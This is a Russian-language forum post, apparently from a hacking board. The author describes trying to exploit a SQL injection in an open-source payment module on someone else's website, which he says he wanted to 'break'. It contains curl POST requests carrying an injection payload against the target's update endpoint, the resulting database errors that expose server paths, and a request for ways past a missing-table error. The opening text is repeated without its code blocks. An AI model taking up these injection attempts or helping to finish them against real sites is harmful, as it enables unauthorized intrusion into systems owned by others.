Наткнулся на один сайтик интересный, захотел поломать, да вот беда: модуль сам есть но не подключен и нет соответствующей таблицы!
И соответственно
Так как таблицы нет, то даже отправляя "штатный" запрос:
Получаю ответ типа:
Ну думаю ща я быстренько бэкспейсами \b (он же \0008) затру SQL в строке слева и делаю запрос:
Но не тут то было! Выдаёт вот это вот (обратите внимание, что SQL запрос вроде стал выглядеть правильно):
SQLi там 100пудово есть, код я смотрел (продукт опенсурцный) и там прям явная скуля из-за тупой конкатенации строк.
Реально ли как-то "переписать историю" , поменяв в строке SQL запрос слева от инжектируемого параметра?
Или может ещё как-то можно обойти (наоборот дополнив) чтобы ошибку не выдавало из-за несуществующей таблицы?
И соответственно
SELECT * FROM `несуществующая_таблица` WHERE order_id=тут_то_что_можно_заинжектить разумеется падает безо всякой мне пользы.Так как таблицы нет, то даже отправляя "штатный" запрос:
Код:
curl -v -X POST -d'{"status": true, "metadata":{"order_id":"1"}}' https://домен.таргета/index.php?route=extension/payment/имямодуля/update
Получаю ответ типа:
Код:
<b>Warning</b>: mysqli::query(): (42S02/1146): Table 'несуществующая_таблица' doesn't exist in <b>/home/q30xt9zx1gxx/public_html/system/library/db/mysqli.php</b> on line <b>25</b><br />
<b>Fatal error</b>: Uncaught Exception: Error: Table 'несуществующая_таблица' doesn't exist<br />Error No: 1146<br />SELECT * FROM `несуществующая_таблица` WHERE `order_id` = 1 in /home/q30xt9zx1gxx/public_html/system/library/db/mysqli.php:49
Ну думаю ща я быстренько бэкспейсами \b (он же \0008) затру SQL в строке слева и делаю запрос:
Код:
curl -v -X POST -d'{"status": true, "metadata":{"order_id":"\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\bсуществующая_таблица`"}}' \
https://домен.таргета/index.php?route=extension/payment/имямодуля/update
Но не тут то было! Выдаёт вот это вот (обратите внимание, что SQL запрос вроде стал выглядеть правильно):
Код:
<b>Warning</b>: mysqli::query(): (42000/1064): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near
'\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008существующая_таблица'
at line 1 in <b>/home/q30xt9zx1gxx/public_html/system/library/db/mysqli.php</b> on line <b>25</b><br />
<b>Fatal error</b>: Uncaught Exception: Error: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near
'\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008\0008существующая_таблица'
at line 1<br />Error No: 1064<br />SELECT * FROM `существующая_таблица` in /home/q30xt9zx1gxx/public_html/system/library/db/mysqli.php:49
SQLi там 100пудово есть, код я смотрел (продукт опенсурцный) и там прям явная скуля из-за тупой конкатенации строк.
Реально ли как-то "переписать историю" , поменяв в строке SQL запрос слева от инжектируемого параметра?
Или может ещё как-то можно обойти (наоборот дополнив) чтобы ошибку не выдавало из-за несуществующей таблицы?
Последнее редактирование: